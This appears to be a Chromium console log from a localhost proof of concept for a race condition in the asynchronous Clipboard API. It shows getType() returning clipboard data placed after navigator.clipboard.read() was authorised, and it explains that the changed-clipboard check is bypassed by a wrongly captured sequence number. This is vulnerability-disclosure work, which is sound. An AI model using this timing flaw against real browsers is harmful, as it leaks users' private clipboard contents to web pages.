[1148:1148:0406/211521.898864:INFO:CONSOLE:9] "[POC] Calling navigator.clipboard.read() ...", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.035426:ERROR:content/browser/renderer_host/clipboard_host_impl.cc:679] [POC] Format enumeration sees clipboard@N (ORIGINAL). [1148:1148:0406/211522.047745:ERROR:content/browser/renderer_host/clipboard_host_impl.cc:710] [POC] Clipboard mutated N->M (SECRET) inside TOCTOU window. [1148:1148:0406/211522.050663:INFO:CONSOLE:9] "[POC] read() resolved. ClipboardItem.types = ["text/plain"]", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.051048:INFO:CONSOLE:9] "[POC] Calling item.getType("text/plain") ...", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.063920:INFO:CONSOLE:9] "[POC] getType() returned: "SECRET-COPIED-AFTER-READ-SEQ-M"", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.064176:INFO:CONSOLE:9] "[POC] ====================================================", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.064470:INFO:CONSOLE:9] "[POC] RESULT: *** VULNERABILITY CONFIRMED ***", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.064602:INFO:CONSOLE:9] "[POC] getType() leaked data placed on the clipboard AFTER", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.064969:INFO:CONSOLE:9] "[POC] navigator.clipboard.read() was authorised. The", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.065086:INFO:CONSOLE:9] "[POC] HasClipboardChangedSinceClipboardRead() defence was", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.065315:INFO:CONSOLE:9] "[POC] bypassed because sequence_number_ was captured AFTER", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.065597:INFO:CONSOLE:9] "[POC] the async format enumeration (wrong baseline).", source: http://localhost:8765/poc.html (9) [1148:1148:0406/211522.065784:INFO:CONSOLE:9] "[POC] ====================================================", source: http://localhost:8765/poc.html (9)